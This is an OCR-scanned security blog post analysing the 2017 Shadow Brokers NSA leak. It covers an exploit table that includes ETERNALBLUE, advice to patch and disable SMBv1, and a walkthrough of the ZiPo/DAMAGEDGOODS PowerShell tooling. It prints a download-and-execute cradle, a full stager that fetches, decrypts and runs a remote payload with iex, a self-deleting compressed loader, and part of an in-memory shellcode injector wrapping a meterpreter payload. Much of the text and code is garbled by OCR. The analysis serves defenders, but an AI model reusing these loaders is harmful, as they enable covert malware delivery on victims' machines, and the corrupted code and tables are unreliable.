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NAME TYPE TARGET NOTES SERVICE AUTH VERSIONS NT XP  VISTA 7 a8 10 2000 2003 2008 2012

EARLYSHOVEL EXPLOIT [REDHAT 7.0/7.1 SENDRMAIL 8.11.x

EASYBEE EXPLOIT |MDAERMON WEBADRIMN HTTR/HTTPS 9.5.3-10.1.2 {except 10.0.0)

EASYPI EXPLOIT |LOTUS hAIL LOTUS MaIL (TCP) 3264 v ¥ v ¥

EBBISLAND/EBBSHAVE |EXPLOIT [SOLARIS 6-10 RPCHDR 6-10

ECHOWRECKER EXPLOIT [LINUX SAMBA 3.0, 3.0.x

ECLIPSEDWING EXPLOIT |SERWER SERWICE S08-067 (TCP 445} SIS (TCP 133) NET ¥ ¥ ¥ ¥

EDUCATEDSCHOLAR EXPLOIT [ShaB hS08-050 (TCP 445) SMB iy iy

EMERALDTHREAD EXPLOIT |5MB MS10-061 (TCP 445) SMB/ (TCP 139) NET | y7 y v

EMPH, EXPLOIT [LOTUS DOMING (TGP 143) IMAP y |6.5.4-6.5.5FP1, 7.0-8.5.2

ENGLISHMANSDENTIST |EXPLOIT [OUTLOOK EXCHANGE WEBACCESS (TCP 25) SMTP < exchange 20107

EPICHERO EXPLOIT [Aviaya CALL SERVER

ERRATICGOPHER EXPLOIT [SMABW1 (TGP 445) 5B ¥ ¥

ESKIMOROLL EXPLOIT [KERBEROS SERVICE ME14-068 (TGP 88) KERBEROS v ¥ ¥ ¥

ESTEERAUDIT EXPLOIT |RDP (TCP 3389) RDP ¥ ¥

ETERNALBLUE EXPLOIT |SMBw2/NET IMS17-010 (TCP 445) SMB ¥ v ¥ ¥ ¥ v ¥ v ¥

ETERNALCHAMPION EXPLOIT [SMBw1/SMBv2? MS17-010 (TGP 445) 5B

ETERNALROMANCE EXPLOIT |5MBw1 M$17-010 (TCP 445) SME ¥ y ¥y ¥ ¥ ¥ ¥ ¥y y?

ETERNALSYNERGY EXPLOIT |SMBw3 hS17-010 (TCP 445) SMB ¥ ¥

ETRE EXPLOIT [IMAIL 8.10-8,22

EWOKFRENZY EXPLOIT [LOTUS DOMING (TGP 143) IMAP 6.5.4, 7.0.2

EXPLODINGCAN EXPLOIT [I155.07/6.0 (WEBDAW) (TCP 80) HTTR/HTTPS 5.07,6.0 ¥

FUZZBUNCH TOOL FRAMEW ORK (PYTHOM)

oDpDJOB TOOL IMPLANT BUILDER

ZIPPYBEER EXPLOIT [SMB DCs (TGP 445) 5B ¥

Just in time for Easter, the Shadow Brokers released the latest installment of an NSA data
dump, which contained an almost overwhelming amount of content — including, amongst
other things, a number of Windows exploits. We thought we’d run some quick analysis on
various elements of said content.

Before we get started

We’'re going to largely avoid the obvious elements of the dump because there’s already been
a lot of very helpful analysis of those elements. However, before we get to that, here’s what
you need to know:

o Patch! The majority of the high impact Microsoft vulnerabilities have recently been
addressed in the MS17-010 patch.

e Disable SMBv1.

e Remove all Windows XP and 2003 machines from your network. These contain
vulnerabilities that will not be patched.

The following table (raw data available at https://pastebin.com/5gkb6HLJ and courtesy of
@etlow) contains some of the more pertinent information.
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NAME TYPE TARGET MNOTES SERVICE AUTH VERSIONS NT XP VISTA 7 a 10 2000 2003 2008 2012

EARLYSHOVEL EXPLOIT |[REDHAT 7.0/7.1 SENCMAIL 811.x
EASYBEE EXPLOIT [MDAEMON 'WEBADMIMN H'I'TF‘IIHTI'F'S 9.5.2-10.1 Q(Extﬂpt 10.0.0)
EASYPI EXPLOIT |LOTUS MAIL LOTUS MAIL (TCP) 3264 ¥ y ¥ ¥
EBBISLAND/EBBSHAVE |EXPLOIT |SOLARIS 6-10 RPCXDR 6-10
ECHOWRECKER EXPLOIT |LiNUi SAMBA 3.0.% 3.0.x
ECLIPSEDWING EXPLOIT [SERVER SERVICE MS08-067 (TCP 1145] SMBf (TEF 133) NET ¥ ¥ ¥ ¥
EDUCATEDSCHOLAR | EXPLOIT[SME 11509050 (TCP 445) SMB ¥ ¥
EMERALDTHREAD EXPLOIT |SMB M510-061 (TCP 445) ShB/ (TCP 133) NET ¥7 ¥ ¥
EMPHASISMINE EXPLOIT [LOTUS DOMIND (TCP 143) IMAP y |6.5.4-6.55FP1, 7.0-852

IST |[EXPLOIT [OUTLOOK EXCHAMNGE WEBACCESS (TCP 25) SMTP < exchange 20107
EPICHERO EXPLOIT [AVAYA CALL SERVER
ERRATICGOPHER EXPLOIT [SMBw1 (TCP GIE] ShiB ¥ ¥
ESKIMOROLL EXPLOIT [KERBEROS SERVICE M514-068 (TCP 88) KERBEROS ¥ ¥ ¥ ¥
ESTEEMAUDIT EXPLOIT [ROP (TCP 3389) ROP ¥
ETERNALBLUE EXPLOIT [SMBZ/NET I517-010 (TCP 445) SMB ¥ ¥ ¥ ¥ ¥ ¥ ¥ y ¥
ETERMALCHARMPION | EXPLOIT [SMEVL/SMBY2T 14517-010 (TCP 445) SMB
ETERMALROMANCE _ |EXPLOIT [SMEBVL M517-010 (TCP 445) SMB ¥ y Y L yr | v | v2 | ¥ y | 2
ETERMALSYNERGY EXPLOIT [SMBY3 1517-010 (TCP 445) SMB ¥
ETRE EXPLOIT [IMAIL 8.10-8.22
EWORFRENZY EXPLOIT |LOTUS DOMING (TCP 143) IMAP 65.4,7.0.2
EXPLODINGCAN EXPLOIT [1155.02/6.0 (WEBDAV) (TCF 80) HTTR/HTTPS 5.02,6.0
FUZZBUNCH TOOL FRAMEWORK (PYTHON]
0DDJOB TOOL IMPLANT BUILDER
ZIPPYBEER EXPLOIT [Sh1B bes [TCP 445) SMB

Shadow Brokers Exploit Table

We can also recommend the following script by Luke Jennings, which is designed to

sweep a network to find Windows systems compromised with the dumps DOUBLEPULSAR
implant: https://github.com/countercept/doublepulsar-detection-script

With that out of the way...

Metadata, or a lack of

Throughout the Equation Group leak via the Shadow Brokers, there are a number of different
languages being used. One interesting element is how it appears that there was originally a
preference for Perl, that was then replaced with Python — we think that this mirrors how the
offensive security industry has evolved, too.

As the age of the dump is pinned at some point in 2013, we would have expected to see a
little bit of PowerShell; this was really starting to come into favor around that time. Now, this
post isn’t about dropping a new 133t PowerShell technique gained from the dump, but rather
looking at what the capability was at the point in time. Staying with the timing of the dump for
a minute, we are reminded of the following series of Tweets from Edward Snowden back in
August last year, when the ShadowBrokers [6] first dropped.
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Edward Snowden® @Snowden - 16 Aug 2016
13) TL;DR: This leak locks like a somebody sending a message that an
escalation in the attribution game could get messy fast.

Edward Snowden & @Snowden - 16 Aug 2016
Bonus: When | came forward, NSA would have migrated offensive operations
to new =servers as a precaution - it's cheap and easy. S07 So...

Edward Snowden & @Snowden - 16 Aug 2016
The undetected hacker squatting on this NSA server lost access in June
2013. Rare public data point on the positive resulis of the leak.

\°]
3
:
3

We know we run the risk of taking these out of context, and it is entirely possible that his
mind has been changed since, however we find the following piece of information interesting.
According to the time line from the Guardian [5], the first release of the material he took was
on the 51 June 2013. It's probable that other dumps have since has contradicted this and the
view of when the hacker/s were kicked off has been able to be narrowed, but we am

Edward Snowden & @Snowden - 16 Aug 2016
You're welcome, @NSAGov. Lots of love.

unaware of this (so please if you know different answers on a postcard).

Examining of the tools makedmgd.exe, part of a toolkit DAMAGEDGOODS that is used
within in a PowerShell delivery framework ZIPO we see the following. One of the first things
that we noticed is that yeah hmmm the build date is baked into the exe. Also some different
implants not within the dump are there “distantuncle” and “finkdiffernt”; some of the coders

definitely have a certain sense of humor.
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SWindows\System32\cmd.exi

G5~ EGRP~windows*Resources~0ps“Tools“ZiPomakedmngd . exe
Executahle Information:

* Uersion: 4.4.8

=* Revizion:

»* File Modified: Thu Jul 11 13:26:33 2813

= Built: Jul 12 26813

Uzage: makedngd.exe
test.(dlliexe>
output .bin
232h1t564hitluuw64)

dae DROPNAME TEMFNAME TEMFPFFREFIZ
NHUM_SY¥SDIRE MUM_TEMFDIRS
S¥YSDIR1 SYSDIRZ... TEMPDIR1I TEMPDIRZ. ..
diztantuncle
finkdifferent
finkdifferent_nothread
finkdifferqnt_ghustlyhammer

Using Sysinternals excellent sigcheck.exe [7] we could view the publisher, version and build
date in order to correlate. Yes, it is one of the many ways to list a binarys metadata, but
some of its other superb features are that, as the name implies, it will verify the signature if
the binary has been signed using Authenticode and it is also able to send the binary straight
to VirusTotal and look at all files within a directory tree recursively. Running sigcheck,
unsurprisingly we get the following information or, some would say, a lack of.

SWindowshsystem32homd.exd

c =~ EGRP*windows“Rezources 0pssTools“EiPo*sigcheck makedmgd.exe

Sigcheck v2.54 — File version and signature vieuwer
Copyright (G 2884-2816 Mark Russinowvich
Suzinternals — www.sysinternals.com

¢ i EGRP~windows“Resources 0pszsJToolssZiPosmakedmyd.exe:
Uerified: Unsigned
Link date: 3:36 AM ?Pr12-20013
Publizher: nsa
Company: nsa
Description: nsa
Product: nsa
Prod version: nsa
File version: nsa
MachineType = 32-bit

Any trace of publisher or company which, to be fair, will be set in Visual Studio (or your
toolchain of choice have either been stripped or not set). The Link date is there, which
correlates to the build date, which is also five weeks after Snowden’s material was first
dropped. It is entirely possible to mess with and edit these dates, of course, before releasing
the dump. We do find it strange to go the level of stripping all other information but hard
coding a build date, particularly in a tool that will be released to a workstation. The directory
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structure that this is in implies it may have been copied in rather than part of a release, as it
was new and may not have been sanitised properly (although there is a real danger of
reading too much into it).

First steps into PowerShell

As stated above, we would have expected to see a reasonable amount of PowerShell
considering the year, but actually there is very little. The only real example that we have
found is a tool called ZiPo which can be found within the dump at
/IResources/Ops/Tools/ZiPo. It contains the following tools

e decryptor_downloader.base
makedmgd.exe

ZIPO.py

ps_base.txt
powershellify.py

In order to run this tool we call ZIPO.py, which first asks you to select a “project” directory
then presents a menu asking if we want to:

1. Upload / Create Execute an Egg
2. Upload/ Create PowerShell script
3. Create Compressed script to be run manually

Now Egg is a term that is used quite heavily throughout the dump and we’re not entirely sure
what it means at this point in time. Pretty sure it is an Equation Group term.
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] @vvl b Computer » Local Disk (C:) » Projects v|+¢|| Search Projects

1 Organize - Include in library - Share with - Burn Mew folder A=z

1 . . .

1 Y Favorites Mame Date modified Type

] B Desktop | ZPO-2017-04-15.l0g 4/15/2017 1:46 PM Text Document

- L4 Downloads "
EE C:\Windows\System32\cmd.exe - ZIPO.py = | [ |

SEGRPwindowz“Rezsources~0pssToolss“ZiPo>ZI PO py
1 %Recycle.Bin

1 Documentz and Settings

1 EGRP

1 keys

1 Logs

1 PerfLogs

1 Program Files

1 ProgramData

1 Projects

PythonZb

Python2?

Recovery

Sustem Uolume Information
temp

Uzers

Wallpaper

Windows
nter Project: 72

w0 G0 =] O O L B

1
1
1
1
1
1
1
1

(1> Upload ~ Execute PC Egg

(2> Upload ~ Execute Powerszshell Script

(3> Create compressed script to be run manually on target
C(A» Quit
Choice:

Choosing PowerShell script we are then asking for the location of it, what the IP address and
port of the “redirector” which we assume is a proxy and then the local IP address and proxy.
This is so that the script can spin up a HTTPd listener to serve up the files that have been
created.

In order to test, we created a very simple PowerShell script containing:

[System.Reflection.Assembly]: :LoadWithPartialName("System.Windows.Forms")

[System.Windows.Forms.MessageBox]: :Show("Hey mate, do you wanna run some
powershell?", "you know you want too", 'Ok')
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11 Secript
to be run manually on target

x] 3118532736662261549358|
7'?12.9159'?11f'i'33568119844F78976.81@1"‘:484.166 2 58 264\3@3493839289915]838
358 189753261637349514148023691582902182 16652 3315873135778832755
'?FM‘J?"IRM 181797148911ﬂ!???gdrrﬂﬂ?ﬁﬂi?ﬁ'i?(r' 7991603850215496197612 199188(9‘7"{1?77“(99
78650903

d and stored: index.html
2nd Stage i : index.htm
Run on target ==
ell nuptatlle —l: S$we=New-Object - H = Suc.dow string{ http://127.8.8.1:80/index.htnl’);powvershell

lsched add
—n(.pmflle —encudedCamnand $s at —ta
COHHHND ]N THE CLIPBOARD

ng{'http:--127.8.8.1:88-index.htnl’ >s;powershell —noprofile —encoded)

[+]1 HTTPD Listener Started

It has generated a public/private key pair, created an index.html & index.htm, provided us
with a script to run on the target and also started up a HTTPd so that we could download the
payloads on the target. That’s not too bad for a couple of commands.

& TCPView - Sysinternals: www.sys —= @ File Edit View VWM Tabs Help - &. oy () :-'_'-,I I
File Options Process View Hep

| Ha =

Process  « FID Protocal Local Address Local Port Remote Address Remote Port State Se
= iewploreexe 1708 LDP 50025 * *

= iesplore.exe 1620 upp 62636 * *

renll A7 ICE - A91EE 0 LISTEMING
7] |zass ene 472 TCPYVE S 49156 ] 0 LISTEMING
2 python.exe 2936 TCP | hitp | 0 LISTEMIMNG
57 services.exe 464 TCR 49155 1 0 LISTEMING
T services.ene 409 TCFVE e 7155 0 LISTEMING
11 svichost exe G64 TCP n Eprmap 0 LISTEMIMNG
n1 zvchost exe 1136 TCP | n rnz-wbt-zerser 0 LISTEMIMNG
B svchostexe V44 TCP | 49153 [ 0 LISTEMING
B svchostexe 884 TCP 49154 | 0 LISTEMING
8 svchostexe 1136 UpF Il =

51 zvchostexe BE4 TCPYE = - epmap L] 0 LISTEMIMNG
8 svchostexe 1136 TCPYVE m = ms-wht-zerver L] 0 LISTEMING
B svchostexe 744 TCPYVE n 49153 " ] LISTEMIMNG
B svchostexe 884 TCPYVE 49154 0 LISTEMING
n1 zvchost exe 1136 UDPYE = 5355 *

W7 Sustem 4 TCP ® wm wosmss  nethios-zshn ] LISTEMIMNG
W7 Sustem 4 TCP | n microzoft-de 0 LISTEMIMNG
W7 Suatem 4 NP - = nethins-nz =

Looking at the command to run its pretty standard PowerShell from the time, in fact we find it
really interesting there is absolutely no attempt at obfuscating anything here. They are
encrypting the payload and building a chain to download/decrypt etc, but no effort is made at
hiding what the command is doing or where it is obtaining the script from (of course we
would be very interested to see what they are doing now).

So what is contained within the two index files? Well, index.html is base64 PowerShell script,
which is why it was executed as an encodedCommand; decoding you get the output below. It
encrypts a known “questionable” password value using RSA, another WebClient is created
which has the encrypted value set as a cookie. The index.html is then downloaded and
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decrypted using the key, which is a SHA1 hash of the “questionable value”. The payload is
then executed and on the server the two files are then deleted. This is a lot of effort to hide
the final payload and once again absolutely no effort to obfuscate any of the script.

[byte[1]Smodulus = @

{02c00, 0xce, 0x40,0xe2,0xal, 0x68,0xed, 0xba, 0xc3,0x42, 0xda, 0x96,0x3b,0x987, 0x 1c,0x36,0x7a,0x35,0xe0, 0xcS, Oxed, Oxed, 0xf2,0x51,0xb2, Oxbe, 0x3 1, 0xbf, 0x8b, Oxe1,0xfc,0x3c,0xcb, 0xdd, 0x47,0xbb, 0x8c, 0x63,0xd5, 0x3d, 0»
[byte[]]Sexponent = @(0x01,0x00,0x01);

[byte[115i1 = @{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00);
$mg = New-Object System. Security.Cryptography. RNGCryptoServiceProvider;
$mg.getBytes($il);

$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;
Skeyobject = New-Object System.Security.Cryptography.RSAParameters;
skeyobject. Modulus = $modulus;

skeyobject.Exponent = Sexponent;

$rsa.importparameters( $keyobject);

Soutput = Srsa.encrypt($il,$False);

$rsa.clear();

$b64output = [Convert]: itobases4string( $output);

$we = New-Object System,Net.Webclient;

Swe.Headers["Cookie"] = sb64output;

$a = $wc.downloadstring('http://127.0.0.1:80/index.htm');

sencoding = New-Object System. Text.ASCIIEncoding;

$iv = [Convert]::FromBase645tring('guQfacdmepluvZpoUp7lidw==");

$data = [Convert]::FromBase645tring($a);

$bad_password = [System.BitConverter]: :ToString($i1);

$good_password = $bad_password -replace ™\-","";

$key = Sencoding.GetBytes($good_password);

$sha_sum = New-Object System.Security.Cryptography.ShalCryptoServiceProvider;
spassword = $sha_sum.computehash(skey);

[Byte[]] $e = $password[0..15];

$f = New-Object System.Security.Cryptography.RijndaelManaged;

$f.padding = [System.Security.Cryptography.PaddingModel: : Zeros;

$f.Mode = [System.Security.Cryptography.CipherMode]:: CBC;

[Byte[]] $h = New-Object Byte[]{$data.length);

$g = sf.CreateDecryptor(Se, Siv);

$i = New-Object System.I0.MemoryStream($data, $True);

$j = New-Object System.Security.Cryptography.CryptoStream({$i, $g, [System.Security.Cryptography.CryptoStreamMode]::Read);
$r = $j.Read($h, 0, $h.Length);

$i.Close();

$j.Close();

$f.Clear();

$mz = New-Object System.I0.MemoryStream{,sh);

smz.readbyte() | out-null;

$mz.readbyte() | out-null;

$2ip = New-Object 10.Compression.DeflateStream($mz, [System.I0.Compression.CompressionMode]: :Decomprass);
$ew = New-Object 10.StreamReader($zip);

Suncompressed_data = $sw.Readtoend();

$sw.Close();

szip.close();

smaz.close();

iex $uncompressed_data;

This is how it looks when it is run:
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PS C:~Users~IElUser> powershell —encodedCommand $sc
Uersion Location

C=sUindowssaszembly~GAC_MEIL Eysten.Windows .Forms~2_8.8_68__h77abc561934eB8

you know you want too LJ

Hey mate, do you wanna run some powershell?

DAMAGEDGOODS

The next thing that we did was to just create a meterpreter payload; nothing special and
wasn’t going to get to connect back, but we felt that AV should still be able to pick it up.

Running Zipo again, we selected the third option. It asks you for a payload DLL and also the
ordinal [8] that you want to fire. This is where DAMAGEDGOODS comes into play;
makedmged.exe is the exe that appears to do some kind of shellcode encoding. In this case
it takes the encoded binary with a script called ps_base.txt, then compresses/base64
encodes and then builds a decompression payload around it.
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1> Upload ~ Execute PC Egyg
2> Upload ~ Execute Powerszhell Script
compressed script to be run manuwally on target

(3> Create

(B> Quit

Choice: 3

Mon—Standard Ordinal: Y- (N>Y
ordinal: 2

Payload DLL:=-L[]1 C:“Projects~zhell.dll
Output Script:[] testZ2
[+]1 Detected PE MAGIC
[-1 32 Bit machine: Bxl4dc
[+]1 Payload iz i386
[+]1 Creating zhellcode file with makedmgd
Executable Information:
* Uers 4.4.8
* Revision r533
* File Modified: Thu Jul 11 13:26:33 2813
* Built: Jul 12 2613
Package :
Payload Filename:
Output Filename:
Platform:
Package Tuype: Bx
Export Ordinal: Bx CHZD>
MOTE: ‘*C:“Projectsxshell.d read. BxEBEEl4EB 51283 hyte“ long.
NOTE: OxB0@Biecd (7872» hytes written to ‘pc_shellcode.bin’
[+] Created pc_shellcode.bin shellcode file
[+] Deleted pc_shellcode._bin
[+] Creating Powerszhell script to be run on target
EXECUTE USING COMMAMD

C:xProjects~shell.dll
pc_=s ode_bin
Bx

ssnsystend2sWindowsPowershe 11wl . @spowershell.exe —ExecutionPolicy hypass

The script that is output at the end of this using the name you supplied is the
decode/decompression/execute mentioned above and is shown below.

fa += "Lij3dgD¥VTIVynIJWmBE5Bo0O61eH21iB664wm7 7DU/1VDTgVHIngdiKd1D11yjJIMDeObzo0K1jgCASIslersceEt0ZRQYQNMOGIWTKLOeYgl1UT4R31ZEKNpCIGKVSEBZY
fa += "D2I/0Evju¥Xb3lfrpZL1KciesbLOnYzYLyIRNaIMQYPVxrlxSRLVNZw4F/ZUvVF18julCBFuY3NdvViMhdrgog710nguSMdIfOH+mtmGBTk/0IVR/FbEJaszpIPLE 71X
$a += "DR1HEB91koVZjS5zPLmImgx2KpoiR1+CPRuaCKQbVXJIgfLsce82BE1Ekg8zvEBI3FGIkS5Iu/ cRe+rLwxOyvCdARA3dYDPbZavl2oY9450C0WF1eESNopgljotktAconUDNC
%23 += "4hnDZIltnd4lTIWiFcKut0JU4RV1isHF1SwgsrY2aTfZFixkupZVrr4DOKgeNS2 1hWbkcWzIglM+képxfaWDD1kE0ZHA6aUBvyh+VN1xQalQdNcf+wipkE4cbsbsEgiRen
2a += "xpfm3LHnvrDRzSREzKegnXaXw35UujNSoR2sxjymIEViS8JetzTpdANKE2pjHZzoox4CUznrDZEI6H THooXnWiET760sG1lVEOnbnjuKoxQEp0EnIvCEat4Q¥s816E0ZGY
%a += "dX¥nTALjeYaTWERETTFE6c5DnRhkGFib8ggqYHxSa3FvYelinIgbGCpCEUVREVE4ugDUEMmzRnEYzeI1LiYbl12nonyLYOIIVRUCY jGCtdpgi 3aYENyvEQxlojmIKE1LA=,/ 7
%a += "VWejfAJmEZINMESJs5103jtRuV+HvEPHvrkggJNpiYi6kJ/ORrF2CDS55Lrm6VOCtJ10=st3LBRO0d6JBBIMF1iWIWE6PQmIvhoe8poicNWpEjRZFnonANEdgmmr J6Bdp7a
%a += "uSBlWB6eYQSOMOEmMYJwwwIUVYTrFInM2NJIBfokCuWbhpRE6263LPVEZN29ceMIrrinsRgxysR2NQPUKKEecZHo3 TE6Zbp+Y0xi StudARgGOsdbASmu+XxEmIi gbHNWC +Rg
%a += "TcxDm2awPHb30hyeRAfDi4H4wEXTOgZEQNCRcTIk65L64DNEWSJId3)2qLlXBeilSWaYjzViliCe/zEZYX2Z2QYb71RsbixAXSFGOFXERDZnYBJuMuSALWIL112z5XeLi1RBE
$a += "YDIBB+zuzag2iNgaxCBvBECnCuTcLR/a84opdNUS+yvz5d+QKDXALvTH3VA+LgsTiL5bRZUHVLEXCmIvEWBF J4x) D67 zrKmRNaB3C40gPbE sbdE 6uCwilyQZ /CUFgPY3C
%a += "hdDFfPPhGzpdhNUQRbivVIvklsS/8alxoYvQYiQvVelRDXyvg65dVVCnUalbaml qgGMcIOAE O gWtr 70 kBmIJJ11pFYQMa8Ul jtF2dffaTeTPTXxT2DowGE2g01g72vTthy
£a += "TRR52exp051b0dQWS3¥glXIyLbCK3voTved Jik6PzI1kN] +yvENuwkduY+GpDgepWHE P3LiooJY¥Errn] g7 DhsbhUlUgpoTLazdg/CnTTJo/ SEYAquaimaNkbzcWugpERT
%3 += "DcHgSrQB3WlsgiulbeTEX2CwDrdiuoz2yv2j46uZCdlexhDOVCGYD2INTgokNatzDB3+4volyzy48UEbBgqaRveFY4elniml TheI67ZE3¥pT1pRCnleluPnBRvENUVKZ S
23 += "bwuzdjUsgCynCWSNfuTsMmXtBCefKKYjc9zLVTlchbB3veICUImylOSTVOYCKEBrcWpELodepsBrecKexsCXnQF1lwdF147£F3kP1lgviegiOe THITEV+eyUF TkTWACAL1ZPk
$a += "I33uIQYEquCSRNuId+fgDZRAnCMcTEDLIOi5C0aRmIdUO3L5aVCG4XTAIgEQOVXEITAQZS1DIC64MruNgrieF3yJYCYrgO4hcGke+a5zwr0G51XCIZ+qRs4Ut8Rah+0€
%a += "5+3do6WgHRNiOEhT7BWludXARcr/GXFZHSYO] fvWgELES3kENZEDCERCVORZ 3cMisbKOLbnWSNEB4 V1 LwTe3XEJHpVXInK 7 +zUCYZu9 9VSTMxvDCIKc7e3Lo2RG3Gdrocy
%a += "gIrncltloypo+b4TS5iwEecofOmDZyWH12A]xRHOOBhOYXI/SLijruBalznpOLIZ0bgoQoS0gRGZxTENgbQivZ I AQybIXR+36Q15XWrio,/ cRAT jbCqStt Y lwMg/MELLAS
$a += "0xnQgllD09iedEagBptl4FvrYKAWGD3sK4Xs0h3XGVRELL 6iCEmzddMCPg0Y rdEmndKAhRgCHS2 r/ 4tdBLI2ZuHdBT755vxN06FoJ5K0zstHALULChbTLVDbIXUI13sF1UNI
£a += "bRAacuBCW3BPE2ri4tfWuTki+TH4k4XMEYhIMMVEkd5SRShEOuYdCr6Jw21k48pRESXLWEVHhigtGapDGbtgkT3ZaqnTlseolbwu278DECEVEY1 2K/ vjcDdRELGYyoSL
fa += "OncalXJlZnHzTGlwurGXk8AS1eGO1VIESUeHhn3GwAgLDrFUvaIVwTS5IdesgGEllgvCLkT6eatzGeNv+kkIPJTnkxPKKOEnesKUiCPRQToT] lgp06TOwdUMHAIUbNW2 7wl
%a += "DzPvMpg6JdxVQkirg6GH4JECSThtstSm7C5It113di/G2Uol/WRejCwSt4asqPaEFtdBrNEKB] 9gXmALhGDGA] Z1e2wFDuKOLwdIOFu7FSmI9DCiNLowLZzTUdzC+ERWE
23 += "ESehd0Xx0TCyXTVavrgVzvVIHcHbed4rTa3efaX31Xi96J7CguvkéxsDYJolusQDg4xoN0XgdbU2 £3hwgOQeyQInRnCoYQibYGTVXAs SbprKExmIcHMES yemi I 2HIJDEJOG
$a += "48nMGV+BTHodRWrOEPYVLkjkdSpUTKRTzy/uPgWTiUQvaCIVgOdVIE24E+FIzorlgmzMvl29002M7dUuCDYu+ulj avuNDK1 gl 6UNkd6ZgvIi Tme4oUvEFcGHUZARXNebY
$a += "C6ZztMpBdmsFUbLSEQ+IXYmTM3CWOzgxml MI’YJKUKMPJI’ﬂ'1'7E\nri"O"lZQU‘IYE.EQzQI]CIT/'(515T/"UTIJEQENEFDE19m+OUXC3pFClGdZSuQpapRl‘(l‘{CKYKXAOCCk.JdJC
So—=—t G E e e P e T e O R S R RS SR A S e EHw S S RE Od R S e IS F SR teT e G Emit Hifemdees / AaUyvt SEDEkdC4WBF 1xa TmTXv3KE
fa += "luc/0f/pxZ0zR7+/vD2+Haf+vbgbmTodlevtT779Ix2dES+piursT/006vUISn+rSenVl/vDE0Tt /17 5d+Mx3YE0HS /7 Tk3alvidv+vi 18 £bVO /PX/ Su+/VQEES3T+e4
%3 += "/0J38c/+xrenldvPwif+ROHgEDhvEPradbQbfjpfHbY QX1 9 fXaXfTP+35u0PIdxHbvvolWD+ajCed9erjE/uPpAPrHeJ1N9YxZ03L 6,/ 328 0+dTOPVw+1d1lfz14cxdv]
$h = [Convert]::FromBase&4String($a):
Smz = New-Object System.IO.MemoryStream($h, $Irue):
smz.readbyte() | out-null:
Smz.readbyte() | out-null:
Zzp = New-Object IC.Compression.DeflateStream(Smz, [System.I(.Compression.CompressionMode]::Decompress);
£aw = New-Object IO.StreamReader ($zp);
fud = Ssw.Readtoend();

7 $sw.Close ()

7 %zp.close():

7 Smz.close():

7 Remove-Item $MyInvocation.MyCommand.Definition;

7 iex $ud;

Decoding it you get the following, which is quite interesting; it's a PowerShell script that
allocates memory, writes the shellcode into it, creates a thread and then executes the
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shellcode, all in memory. The shellcode in this case is going to be the meterpreter DLL that
we originally used. Running it multiple times over the same DLL you get a different version.
There appears to be some kind of prologue in the shellcode that doesn’t change, but it is
pretty short, running the script multiple times and then diffing with Scooter Software’s
excellent Beyond Compare you find that the only section that has changed is the shellcode
except for:

$Ishows4ProcessAddr = Get-ProcAddress kernal32.dll Iswows4Process
if ($Iskows4ProcessAddr)

{

$Iswowb4ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Boel])
$IsWowbdProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($1skom
$64bItCPU = Strue

}

else

{ $64bitCPU = $false }

if ([IntPtr]::Size -eq 4)

{ $PowerShell32bit = $true }

else

{ $Powershellazhit = $false }

[Byte[]1] $Instructions32 = @(@x68,8xced,dxle,Ix00, 0x00,0xe8, 0x00, 0x00, Ox00, 0x00,0x58, OxE3 ,8xcd, Bx
@xdS, 0xFf, 0x8a, 0x2f , Bx6b,8x02, Bxdd, Bxad, @xdd, BxT6 ,8x87 , OxB6, Bxdc , xb2, 6x31,8xbd, Bxdc,8x75,8x57,8
@xas, Bx@1, 8x35 ,Bxad , Bxba, BxBe, Bxde, BxB0, 8x57, Bx78 , 8xc, Bxdd , Bxc7, x30, 6x32,8x7e, Bxcd, Bx37,8x96,8
8x43, 8x08, Oxe0, Bx49, Bxad, Bx23, BxBc, Bx7e, Bxd6 , BXI6, 8x76, Bx3c, 0x38, Bx4F, x5, Bx2b, Bx4d, Bxd1,0x2b, 8
Bx23, 0xb7, Bxfe, Bx7T, Bx58,8xT0, Bx56 ,0x8c, Bx3e, Bxcc, Bx0T, Oxba, Bxde , Bxe2, Bxal, x5, Bx0a, Ox01,0xa9, 0
858, 0x7a, 0xBd , Bx2e , Bxh2,8xF5, Bxbd, Bxad, Bx 34, Bxed , BxF4, Bxbi , Bxdb, 0x76, 6xB4,8xc4, Bxed, Bx22,0xc1,0
827, Bxab, Bxa7 , Bxda, Bx12,8x90, Bx59,8x22, Bxde , Bxdf , Bxdc , Bxb4, Bxad, 0x30, 8x51,8x9d, Bxb6, BxDS , Bxc5, 0
@x19, Bxdf , 8x06 ,8x1b, Bx5a,8x7F, 8xel,B8x19,0x0a, Bx5 ,8xB6, 0x 5, 8x0b ,@xd6, Oxal ,8x2c, Bxf5,Bxef ,0x22,0
BXE7, 850, Bxa2 , Bxde, Bxes , Bx24 , Bxbe ,Bxch, Bx20 , Bxd3 , 0x85 , Bx41, Bx46, 815, Bx48, 8x17 , Bx27, 8x40,8x87, 0
Bx58, 8xc7, 0x80, 8x79, Budc , Bx2, Bx12, Bxda, Bxb2, Bx3e , BxBh, Bx54, Bx66 , x4, 0x19,8x93, Bx2d,, Bx4S, Bx2c, 8
@x7e, 0xB7, xad, @x6a, Bxbd , Bxb1, Bx4b, 8xfc,Bx37, Bxba, 0x69, Bxbe, Ox0e , 0x93, 056, @xaf, Ox58, BxFF,0x02,0
x99, 8x99, @x8b,@xa 8, @xcd ,@xad, 8x34,8xd4,0x58, 8xb3 ,@xfc, 0x99, 8xee , @x6C, @28, 8x6d, @x5e, 8%97,0xd6, @
@xa7, OxBc, 0xfo,8x72,Bxb3, Bx53, 8x30, 8xb9, @x=0, @xfc,8x92, Oxcl, 0x5h, 0xla, 0x51,8x4b, Oxe7,8x20,0%03,0
@xBe, 0xfE, 0x2e, Bxad, Bxdd , Bxce, Bxdd, 8x72,0x54, Bxba , Oxda, Ox6 T, xc 1, Oxcc, Ox5e, Bx36, Bx94,Bx05, 061,08
0xfa,Bxae,8x13,0xbf, B84, 0x12, 0x1F,0x0F ,@xd3, Bx3a, 0xB2, Bxd5, 0xBT,0x90, 0x683 ,0x5a, Oxed , 0x25,0x47,0
@xdc,@xas, 0xad, 8xld, O8x18,8xd4 , BxIe ,8x6c ,@x8d , Bxde , 8xba, 8xT1,8xbd ,8x87 ,0xad ,8x656,0xT7,0x43,0x49,0
